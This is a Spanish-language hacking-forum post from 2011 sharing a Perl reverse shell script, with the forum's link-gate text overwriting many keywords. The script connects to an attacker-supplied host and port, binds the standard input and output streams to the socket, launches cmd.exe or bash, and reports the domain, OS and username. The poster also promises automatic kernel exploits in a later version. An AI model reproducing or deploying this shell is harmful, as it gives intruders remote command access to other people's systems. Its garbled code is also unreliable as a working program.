send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Perl] Reverse Shell By Doddy

  • 0 Respuestas
  • 782 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 544
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Julio 03, 2011, 09:49:16 pm »
Hola a todos.

Hoy traigo un simple reverse shell en esta version solo pueden conectarse al server que tiene netcat
despues ofrece informacion depende del sistema operativo que tiene el que ejecuto el script.
En la version 0.2 le agregare deteccion de kernel y su posible exploit.

Código: Perl
  1. #!usr/bin/perl
  2. #Reverse Shell 0.1
  3. #By Doddy H
  4.  
  5. use IO::Socket;
  6.  
  7. You are not allowed to view links. Register or Login "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";
  8.  
  9. unless (@ARGV == 2) {
  10. You are not allowed to view links. Register or Login "[Sintax] : $0 <host> <port>\n\n";
  11. You are not allowed to view links. Register or Login(1);
  12. } else {
  13. You are not allowed to view links. Register or Login "[+] Starting the connection\n";
  14. You are not allowed to view links. Register or Login "[+] Enter in the system\n";
  15. You are not allowed to view links. Register or Login "[+] Enjoy !!!\n\n";
  16. conectar($ARGV[0],$ARGV[1]);
  17. tipo();
  18. }
  19.  
  20. sub conectar {
  21. You are not allowed to view links. Register or Login(REVERSE, PF_INET, SOCK_STREAM, You are not allowed to view links. Register or Login('tcp'));
  22. You are not allowed to view links. Register or Login(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  23. You are not allowed to view links. Register or Login (STDIN,">&REVERSE");
  24. You are not allowed to view links. Register or Login (STDOUT,">&REVERSE");
  25. You are not allowed to view links. Register or Login (STDERR,">&REVERSE");
  26. }
  27.  
  28. sub tipo {
  29. You are not allowed to view links. Register or Login "\n[*] Reverse Shell Starting...\n\n";
  30. if ($^O =~/Win32/ig) {
  31. infowin();
  32. You are not allowed to view links. Register or Login("cmd.exe");
  33. } else {
  34. infolinux();
  35. #root();  
  36. You are not allowed to view links. Register or Login("bin/bash");
  37. }
  38. }
  39.  
  40. sub infowin {
  41. You are not allowed to view links. Register or Login "[+] Domain Name : ".Win32::DomainName()."\n";
  42. You are not allowed to view links. Register or Login "[+] OS Version : ".Win32::GetOSName()."\n";
  43. You are not allowed to view links. Register or Login "[+] Username : ".Win32::LoginName()."\n\n\n";
  44. }
  45.  
  46. sub infolinux {
  47. You are not allowed to view links. Register or Login "[+] System information\n\n";
  48. You are not allowed to view links. Register or Login("uname -a");
  49. }
  50.  
  51. #The End
  52.  
« Última modificación: Julio 17, 2011, 03:45:26 am por Sthefano02 »

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 2854
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1325
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 1474
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d
[Perl] Counter Strike 1.6 Servers List

Iniciado por BigBear

Respuestas: 0
Vistas: 1013
Último mensaje Noviembre 12, 2012, 07:32:11 pm
por BigBear
DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]

Iniciado por SkillmaX

Respuestas: 0
Vistas: 1266
Último mensaje Julio 04, 2010, 10:14:31 am
por SkillmaX